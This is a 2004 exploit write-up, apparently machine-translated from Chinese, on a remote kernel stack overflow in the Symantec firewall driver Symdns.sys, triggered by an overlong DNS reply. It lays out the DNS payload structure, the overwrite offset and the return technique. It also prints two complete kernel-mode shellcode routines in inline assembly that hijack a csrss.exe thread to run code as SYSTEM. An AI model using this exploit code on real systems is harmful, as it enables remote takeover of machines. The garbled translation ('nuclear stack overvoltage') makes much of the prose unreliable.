Summary of Symantec Firewall Nuclear Stack Overvoltage Vulnerability Utilization
Creation time: 2004-11-25
Article attribute: original
Article submission:
Sobeit (kinsephi_at_hotmail.com)
Summary of Symantec Firewall Nuclear Stack Overvoltage Vulnerability Utilization
Sobeit
It turned out that the vulnerability wrote two essays in the summit by Flashsky Big Big, because it is written, it is inevitable that there are many mistakes. My friend suggested that I have been summarized, and I have the next reference, so I will summarize the two articles. And made some modifications.
This vulnerability is different from most stack overflow vulnerabilities that it is in the kernel. The stack overflows in the drive Symdns.sys that occurs in the Symantec firewall. When processes the DNS reply, due to the unspeakable total domain name, it can be input to an ultra-long domain name, which can cause overflow, overflowing in RING0, IRQL = 2 (Dispatch_level), process PID Under the environment of 0 (IDLE process).
A DNS message format is as follows:
"/ xeb / x0b" // message ID, you can set it at will, but there is no use in this vulnerability, followed by it.
"/ x80 / x00" // packet FLAG, 15 position 1 means this is a reply message
"/ x00 / x01" // problem quantity
"/ x00 / x01" // answer quantity
"/ xxx / xxx" // authorized resource record number, not important here, casually set
"/ xxx / xxx" // Extraway information resource record number, not important here, casually set
The above part is DNS packet header
"/ xxx / xxx / x ..." // domain name, format is the length of each segmentation domain name domain name, such as
Www.buaa.edu.cn is
/ x03 / x77 / x77 / x77 / x04 / x62 / x03 / x65 / x64 / x75 / x02 / x63 / x6e / x00
W W W B u a a e d u c n
/ x00 is expressed at the end. When processing, the number of length records will be replaced with 0x2e, which is "." To complete the processing.
The function of processing the incoming domain name in symdns.sys is located at the Symdns.sys base address 0xA76, which assigns 0x214 byte space in the stack, copies the domain name, although the total length is calculated, but the limit is calculated, but Due to calculation errors, it is also white calculated, causing a stack overflow that can be input to a long domain name. Each domain name of incoming is a maximum length limit, which cannot exceed 0x40 bytes, so each of my shellcode length is 0x3f (63) bytes. After overwriting 532 bytes, the return address of the function is covered. This vulnerability has a characteristic that in the stack, the introduced domain name, causing the second half of the shellcode before returning to the address in the stack, and is very unrecognizable. There are two ways to perform shellcode:
First, the address of our entire DNS packet (including DNS packet head) is saved at the ESP 0xc where we covered the return address, is an address in a non-tap pool,
74816D74 4C816C9B 816D002E 816C9E34
| _____ ESP points to this | _______ This is the address of the non-paging pool
Now everyone should know how to do it? Although there is no fixed JMP [ESP 0xc], Call [ESP 0xc] in the kernel, but we can do it, using instructions such as POP / POP / POP / RET, the control of the machine Go to us. However, this 3 POP instructions is best not to bring POP EBP, otherwise it will be inexplicably returned to a strange address. At the end of the Strstr function, there are two POP / POP / POP / RET combinations. Now understand the role of the message ID of the beginning? / Xeb / x0b is a machine directive that directly jumps, skips the DNS packet header and the first Shellcode length count number of DNS packets. Flashsky said in the journal to skip the length count, but the 0x3F correspondence is AAS, and the Eax is ASCII adjustment, so this 0x3f can also be regarded as part of the SHELLCODE in the case of generally does not affect Eax and flags. You can save a lot of bytes ^ _ ^. The second is to start performing our shellcode at the ESP 0x8 covered in the stack, and the SHELLCODE function after returning the address will not work. But if shellcode is too long, it will override some information about DPC scheduling. A variant method, you can jump back to the first half of the shellcode before returning the address is not modified. You can perform a close 200 byte, then skip to the back address, the SHELLCODE section is executed, so space should be sufficient. However, since 0x3f started every segment of shellcode in the stack has been replaced with 0x2e, 0x2e is not separately corresponding to the machine code, so it can only be changed to / XEB / X01 skip 0x2e in the last part of each shellcode segment.
In the safety return method, since there is not overridden to overwrite the return address in the stack, you can only use the first method to execute shellcdoe in the pool, and the kernel state shellcode of the security return method is only 230 bytes, the pool There are still 310 bytes left and so that you can use. In the non-secure return method, due to the stack position of the stacked position of the key data such as the DPC schedule, the locked resource, etc., it can be performed in the stack.
Safety return method
Now the current environment is an No. 0 process, you have to get the eProcess address of that process first to cut the process address space to other processes. The process of the No. 0 is very special. It is basically not hanging on the list of all processes, such as ActiveProcessLinks, SessionProcessLinks, WorkingSetExpansionLinks, and normal conditions can only enumerate the WaitListhead to enumerate all threads and judge the process, which is very troublesome. And the code is very long, but there is no road to the world, saving a thread Ethread address of an 8th process at KPCR 0x55c ( 55c struct _kthread * npxthread), which can get ETHREAD 0X44 to get EPRocess from this thread. Address, and the No. 8 process is hung on other linked lists other than sessionProcessLinks, so we can now get other process EPRocess addresses. The next step is to switch the process address space, remove the physical address of the process page directory from the target process EPROCESS 0x18 and modify the current CR3 register to this value (I also modified the CR3 in the task section KTSS) Value, the results found that this is not necessary). Then select a suitable thread in this process to run our user-name shellcode, this choice is important, because the current IRQL = 2, any address of any access to the pages will cause the IRQL_NOT_ESS_OR_EQUAL blue screen error, because the information will result in page I / O, I will finally wait on the object, which violates the rules that cannot be waiting in IRQL = 2. Follow the operating system of a standard 5 scheduling status model, when a thread waits for a long time, the kernel stack of the thread will be replaced by memory, so we cannot use it. So we need to judge whether Ethread = 0x11e ( 11e Byte KernelStackResident "is true, indicating that the thread kernel stack is not replaced by memory. This is related to which system process that chooses to choose, and the shell that returns such a system process is SYSTEM permission, which must be an active process to ensure that there is a thread that has not been replaced every moment. Winlogon.exe is certainly not doing, because in most cases this is a 0 working set of idle processes. In LSAss.exe, smss.exe, csrss.exe, I finally selected CSRSS.exe, because I think about Win32 subsystem should not be idle :), the fact also proves to choose this process Basically, you can find a suitable thread. Enumerate a process of a process can take a chain head at EPRocess 0x50, which chains all threads of the process, and the list position is at Ethread 0x1a4: struct _eprocess (sizeof = 648)
000 struct _kprocess PCB
050 struct _list_entry threadlisthead
050 struct _List_ENTRY * FLINK
054 struct _list_entry * blink
Struct_thread (sizeof = 584)
000 struct _kthread TCB
1A4 STRUCT _LIST_ENTRY THREADLISTENTRY
1A4 STRUCT _LIST_ENTRY * FLINK
1A8 STRUCT _LIST_ENTRY * BLINK
Or take a chain head at EPROCESS 0x270, the list position is at Ethread 0x240:
Struct _eprocess (sizeof = 648) 270 struct_List_ENTRY Threadlisthead
270 struct _list_entry * flink
274 struct _list_entry * blink
Struct_thread (sizeof = 584)
240 struct _list_entry threadListentry
240 struct _List_ENTRY * FLINK
244 struct _list_entry * blink
The rest is to allocate virtual addresses, lock, and copy shellcode in the process space, and call the API as: ZWopenProcess (here, if this call can cause the blue screen because the address space does not match if the CR3 is not changed, because the address space does not match) -> ZwallocatevirtualMemory-> ZWLOCKVIRTUALMORY-> ZWWRITEVIRTUALMEMORY, for versatility I use the underline interface of MOV EAX, API Number; INT 2E to call the API. We have to modify the EIP to be executed next time before calling zwwritevirtualmemory, which is saved at KTRAP_FRAME 0x68, modify it to our assigned address. Ktrap_Frame In the part of the thread stack initialstack-x29c, Ethread 0x128 directly points to this address. Remember to save the original EIP in our user-name shellcode, similar to the format of PUSH 0x12345678; RET, the code returns the address of 12345678, so in memory is / x68 / x78 / x56 / x34 / x12 / xc3, will The original return address covers the 12345678, and the thread will return to normal execution after executing our function code.
The last section is some of the fixed features returned for the vulnerability, mainly to remove the return address that is not covered and allows EBP to return to normal, and set a specific register value to meet the returned detection conditions. Here I have skipped all the remaining calls in symdns.sys, because those functions are all values from the stack, and the stack value is all changed, so I will return directly to TCPIP! UDPDELIVER, return to this There is a good thing, it is complete, no matter what you deal with, how to deal with it, it is only to detect whether the return value EAX is 0, which is very in line with our requirements, huh, huh.
This shellcode probably only 3/4 success rate, because in some cases, our DNS packet is not attached to the ESP 0xc, and sometimes all threads have been changed from the process, and there must be The little probability will happen to NDIS dead locks --_- Sometimes the RP broke out every day, sometimes the virtual machine is mad blue screen. . . . The biggest problem estimate in the internal nuclear overflow is the problem of the shortage. Since IRQL = 2 cannot be changed, it is very likely that somewately visits can not be accessed. Some modifications can use, such as Work Item, which can be used under IRQL = 2, and then the system worker thread is completed for us. This is some improvement ideas.
Shellcode consists of kernel shellcode and user shellcode. The kernel shellcode is responsible for returning and executing user shellcode. User shellcode is a normal function, pay attention to joining the code of the firewall. The following is the kernel shellcode code, did not provide complete shellcode, because one is for technical research, but do not want to be used by those who have nothing to do with technology but only think about destruction. The converted machine code is only 230 bytes, basically not too big:): __ declspec (naked) Justtest ()
{
__ASM
{
Call GO1
GO1:
POP EAX
Push EAX
MOV EBX, 0xFFDFF55C
MOV EBX, DWORD PTR [EBX]
MOV EBX, DWORD PTR [EBX 0x44]
Push 0x73727363
FINDPROCESS:
MOV EDI, ESP
Lea ESI, DWORD PTR [EBX 0x1FC]
Push 0x4
POP ECX
REPE CMPSB
Jecxz GO2
MOV EBX, DWORD PTR [EBX 0xA0]
Sub EBX, 0xA0
JMP FindProcess
GO2:
POP EDX
MOV EDX, DWORD PTR [EBX 0x50]
Findthread:
Movzx ECX, Byte Ptr [EDX-0x86]
Dec ECX
Jecxz GO3
MOV EDX, DWORD PTR [EDX]
JMP Findthread
GO3:
MOV EAX, DWORD PTR [EBX 0x18]
MOV EBP, ESP
SUB ESP, 0x40
Push Edx
MOV CR3, EAX
Push 0x10
POP ECX
XOR EAX, EAX
Lea EDI, DWORD PTR [EBP-0x40]
ZEROSTACK:
Stosd
Loop Zerostack
MOV BYTE PTR [EBP-0x38], 0x18
Lea EDI, DWORD PTR [EDX 0x3c]
Push EDI
Lea EDI, DWORD PTR [EBP-0x38]
Push EDI
Lea EDI, DWORD PTR [EBP-0x8]
Push 0x1f0FFF
Push EDI
MOV Al, 0x6A
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x10
MOV BYTE PTR [EBP-0x3], 0x2
PUSH 0x40
Push 0x1000
Lea EDI, DWORD PTR [EBP-0x4]
Push EDI
Push EAX
Lea EDI, DWORD PTR [EBP-0XC]
Push EDI
Push DWORD PTR [EBP-0x8]
Mov al, 0x10
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x18
PUSH 0x2
Lea EBX, DWORD PTR [EBP-0X4]
Push EBX
Lea EBX, DWORD PTR [EBP-0XC]
Push EBX
Push DWORD PTR [EBP-0x8]
Mov al, 0x59
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x10
MOV EDI, DWORD PTR [EBP]
POP EDX
MOV EDX, DWORD PTR [EDX-0x7c]
Push DWORD PTR [EDX 0x68]
POP DWORD PTR [EDI 0x210]
Push DWORD PTR [EBP-0XC] Pop DWORD PTR [EDX 0x68]
Add edi, 0x11c
Push EAX
Push 0x120
Push EDI
Push DWORD PTR [EBP-0XC]
Push DWORD PTR [EBP-0x8]
MOV Al, 0xF0
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x100
XOR EAX, EAX
MOV ESI, DWORD PTR [ESP 0x38]
MOV EBP, ESP
Add ebp, 0x88
RET 0x2C
}
}
Non-safe returns
Didn't realize the non-secure return method, because the technical points inside include the safety return method and non-safe return method, and the limit is too big, it is very uncomfortable. Mainly the content of the BAT download file, you can see related articles.
As Flashsky said, the key to non-secure returning law two is to recover DPC, unlike safety return, we don't have to care about thread switching and DPC scheduling. However, Flashsky exaggerates the situation of DPC destruction, especially environmental switches, even in the safety return method, the system has also carried out several environmental switches and DPC scheduling (occurred in INT 0X2E) when performing our code. Let's take a look at how a DPC scheduling is completed. The following is a part of the KPCR structure involved in DPC scheduling:
7E0 uint32 DPCINTERRUPTREQUESTED
7e4 void * chainedInterruptlist
7e8 uint32 cachepad3 [2]
7F0 uint32 maximumdpcqueueuedepth
7F4 uint32 minimumdpcrate
7F8 uint32 cachepad4 [2]
800 struct _list_entry dpclisthead
800 STRUCT _LIST_ENTRY * FLINK
804 struct _list_entry * blink
808 uint32 DPCQueuedepth
80C uint32 dpcroutineactive
810 uint32 dpcount
814 uint32 dpclastcount
818 uint32 DPCRequestrate
81C void * DPCSTACK
There are two ways to handle the DPC, one is to put the KDPC object string DPCLISTHEAD. In KIIDLOOP or KIDISPATCHERRUPT, the system detects that the current DPC linked list is not empty, so call kiretiredpclist, kiretiredpclist Settings the current dpcroutineActive status to TRUE (M $ is here to assure the value of ESP with the member, apparently any time ESP is greater than 0 ) And set DPCINTERRUPTREQUESTED to TRUE and then remove the DPC routines and parameters of the KDPC structure on the linked list from DPCLISTHEAD. After processing, restore the original state and add DPCCount. Another method is to wait for KTIMER scheduling objects, and the frequency of DPC scheduling occurs is quite high, but most of the time is the processing timer KTIMER expired DPC, and many DPCs are handled in KitimeRexPiration-> KitiMerLisTexPire by waiting for KTimer. The overflow here is the first method. We are in DPC scheduling, DPCROUTINEACTIVE and DPCINTERRUPTREQUSTED are True, and the stack trace is discovered by kiidleLoop. Obviously these two members have to restore the original 0 value (actually not recover, if the DPC schedule will be resumed after the DPC schedule has occurred, it will reduce the success rate of overflow, because if in Int 0x2e has no DPC scheduling system in front of the ATTACH process. In fact, some blue screens in the system are intentionally call Kebugcheck to prevent you from doing certain things. If you deal with it, you will not affect the system, such as can't be active (which is dpcroutineAactive to TRUE). But in this vulnerability overflow, our first step is to switch to the environment :). Therefore, breakthrough system to our martyrdom and complete the function of the system itself, is the reason why our interested in kernel, can control the entire operating system is really cool, long, huh, huh. Recovery DPC has a skill, since the last kiidleloop call is kiRetiredPClist, then the contents of the iDLE thread's kernelstack (Ethread 0x28) will definitely point to the next instruction after calling KiRetiredPCLIST in Kiidleloop: Call Nt! KiretiredPCLIST
CMP DWORD PTR [EBX 0x128], 0x0
If the system is not changed here, the system is restored here, the next step is to determine whether the linked list represented by the dpclisthead represented in the EBP is empty, but because the value that has just changed the EBP has been modified to KTSS. After switching to the IDLE thread, it is definitely an error. So we need artificial to this address (refer to the next instruction after kiretiredpclist), plus 0x2D, so that it becomes the next instruction after swapContext:
Call Nt! SwapContext
Lea EBP, [EBX 0x800]
Obviously EBP has been restored, DPC scheduling can continue.
We have two options, one is to skip the current DPC, and the other is to re-add the current DPC (here NDISMDPC) to the DPC linked header ready for the next repartition. The advantage of the former method is convenient, you can save a lot of code, but also the method I use, but there is a small problem, it is unable to ping the pass, it will generate the interruption of the network has been interrupted, in fact the network is through, shell Also get it. The second method Although the network function is normal, there will be some exceptions in remote machines, such as the start menu can't use, of course, the shell is everything. The commonality of the two methods must be unlocked for the Ndis_MiniPort_Block structure of the front lock, which is saved in the iDLE thread stack, which is relatively large, so it can be safe. The next step is to perform environmental switches, the thread to switch is a thread that we have not changed in the internal nuclear stack in the target privilege process. Assign the thread to be switched to the KPCR 0x124, assign the next thread to which the next to switch is derived at KPCR 0x128 and change the IDLE thread state (Ethread 02D byte State) to standby (0x3). Then, by changing the CR3 switching process address, modify the TEB descriptor pointing to the new thread TEB, remove the KernelStack from the target to switch the thread to the current ESP, remember, from here, we are already in the stack of new threads, if you What is important information before pressing in the stack of IDLE threads, hurry to switch the ESP out of the stack. One more important, because we are forcibly putting a radical thread to enumerate and running (if you want to find threads in ready state, the thread of the target privilege process is too test, the machine rate can be more Take 6, you must remove the thread in the Waiting Link list (here you talk about the difference between KiwaitinListhead and KiwaitoutListhead, the former is a thread chain list in the waiting state and the kernel stack is not changed, and the latter is in a waiting state and the kernel The stack has been switched out of the thread chain table), otherwise it will have a dead cycle at KioutSwapkernelStack. Finally, returning directly to KiswapContext (this is saved in the stack when the thread is overwhelmed), and the system will take over (here, it is necessary, in fact, the iDle thread has been paid from KPCR 0x128 and is changed to After standing, the first int 0x2e is scheduled to be executed).
I started to complete other functions, re-environment switches, and the result is a very strange problem. It is in Windbg if the INT 0x2e of ZwlockVirtualMemory is single-step, then set an int 0x3 after the int 0x2e, then set it back to G, the system is normal, but if directly g or simply, there is no breakpoint. Then the system will have a strange problem. I guess that Windbg replaces some of the DPC calls. I have tried to solve this problem, and the result was depressed N times, mainly in the system under the intervention of Windbg. Later, I thought that the previous environment switch and DPC schedule used the IDLE thread kernel stack, and the back is directly modified back to normal value (Idle's kernelstack, at Ethread 0x28, it is a constant value, no modification, will be modified) Returning to the wrong address), the estimated problem happens here, so I changed the shellcode before and after, and the first environment switches and completes other functions, which will not intervene in the iDLE's core stack, and the fact proves that this is correct :) There is my environment switch code is a SwapContext version that has repeatedly streamlined. All the codes can be completely removed, such as the code that modifies some members who will not use in KPCR, even threaded status Did not change, still stay in the waiting state, any normal environmental environment switches do not detect what the running thread is, huh, huh. The following is the kernel shellcode code, converted into machine code about 320 bytes. If you use the second recovery of the DPC approximately 350 bytes. This code is performed in the pool, remember to correct some of the offset addresses in the stack in the stack:
__Declspec (naked) Justtest2 ()
{
__ASM
{
Call GO1
GO1:
POP EAX
Push EAX
MOV EBP, 0xFFDFF80C
MOV EBX, DWORD PTR [EBP-0x2B0]
MOV EBX, DWORD PTR [EBX 0x44]
XOR EAX, EAX
Push 0x73727363
FINDPROCESS:
MOV EDI, ESP
Lea ESI, DWORD PTR [EBX 0x1FC]
Push 0x4
POP ECX
REPE CMPSB
Jecxz GO2
MOV EBX, DWORD PTR [EBX 0xA0]
Sub EBX, 0xA0
JMP FindProcess
GO2:
POP EDX
Mov DWORD PTR [EBP], EAX
MOV ESI, DWORD PTR [ESP 0x33c]
MOV BYTE PTR [ESI 0x2D], Al
LEA ESI, DWORD PTR [EBX 0x50]
Findthread:
MOV ESI, DWORD PTR [ESI]
Test Byte PTR [ESI-0x86], 0x1
JNZ GO3
JMP Findthread
GO3:
Mov EDX, DWORD PTR [EBX 0x18]
SUB ESI, 0x1A4
Mov ebx, 0xffdff000
// Lea ECX, DWORD PTR [EBP-0XC]
MOV EBP, DWORD PTR [EBX 0x124]
MOV DWORD PTR [EBX 0x128], EBP
Inc Byte PTR [EBP 0x2D]
MOV EDI, DWORD PTR [EBP 0x28]
Add DWORD PTR [EDI 0x8], 0x2D
// Mov EBP, DWORD PTR [EDI-0x8]
// Add EBP, 0x4 // Mov EDI, DWORD PTR [ECX]
// Mov DWORD PTR [EDI], EBP
// Mov DWORD PTR [EBP 4], EDI
// Mov DWORD PTR [ECX], EBP
MOV DWORD PTR [EBX 0x124], ESI
MOV CL, Byte Ptr [ESI 0x2c]
MOV BYTE PTR [EBX 0x50], CL
MOV EBP, DWORD PTR [ESI 0x5c]
Mov EDI, DWORD PTR [ESI 0x60]
MOV DWORD PTR [EDI], EBP
MOV DWORD PTR [EBP 0x4], EDI
POP EDI
Push DWORD PTR [ESI 0x1c]
POP DWORD PTR [EBX 0x8]
MOV ESP, DWORD PTR [ESI 0x28]
MOV ECX, DWORD PTR [ESI 0x20]
MOV DWORD PTR [EBX 0x18], ECX
MOV EBP, DWORD PTR [EBX 0x3c]
MOV Word PTR [EBP 0x3a], CX
SHR ECX, 0x10
MOV BYTE PTR [EBP 0x3c], CL
SHR ECX, 0x8
MOV BYTE PTR [EBP 0x3F], CL
MOV EBP, DWORD PTR [EBX 0x40]
MOV DWORD PTR [EBP 0x1c], EDX
MOV CR3, EDX
Push EDI
MOV EBP, ESP
SUB ESP, 0x40
Push EBX
PUSH ESI
Push 0x10
POP ECX
Lea EDI, DWORD PTR [EBP-0x40]
ZEROSTACK:
Stosd
Loop Zerostack
MOV BYTE PTR [EBP-0x38], 0x18
Lea EDI, DWORD PTR [ESI 0x1e0]
Push EDI
Lea EDI, DWORD PTR [EBP-0x38]
Push EDI
Lea EDI, DWORD PTR [EBP-0x8]
Push 0x1f0FFF
Push EDI
MOV Al, 0x6A
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x10
MOV BYTE PTR [EBP-0x3], 0x2
PUSH 0x40
Push 0x1000
Lea EDI, DWORD PTR [EBP-0x4]
Push EDI
Push EAX
Lea EDI, DWORD PTR [EBP-0XC]
Push EDI
Push DWORD PTR [EBP-0x8]
Mov al, 0x10
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x18
PUSH 0x2
Lea EBX, DWORD PTR [EBP-0X4]
Push EBX
Lea EBX, DWORD PTR [EBP-0XC]
Push EBX
Push DWORD PTR [EBP-0x8]
Mov al, 0x59
Lea EDX, DWORD PTR [ESP]
INT 0x2e
Add ESP, 0x10
MOV EDI, DWORD PTR [EBP]
POP EDX
Mov EDX, DWORD PTR [EDX 0x128]
Push DWORD PTR [EDX 0x68]
POP DWORD PTR [EDI 0x1a0] Push DWORD PTR [EBP-0XC]
POP DWORD PTR [EDX 0x68]
Add Edi, 0x19A
Push EAX
Push 0x120
Push EDI
Push DWORD PTR [EBP-0XC]
Push DWORD PTR [EBP-0x8]
MOV Al, 0xF0
Lea EDX, DWORD PTR [ESP]
INT 0x2e
MOV EBX, DWORD PTR [ESP 0x14]
Add ESP, 0x5c
POP ECX
Mov DWORD PTR [EBX], ECX
POPFD
RET
}
}
// The following code is used for the second DPC recovery.
postscript:
Nuclear overflow is a brand new area, there are many things worth we can explore. This article is a throwing brick, and if you can help you, it will reach the purpose. There are a lot of shortcomings in many places, especially the non-safety return method, have not found a method that allows the system to completely restore the original. If there is any mistake or improvement, please ask me.
QQ: 27324838
Email: kinvis@hotmail.com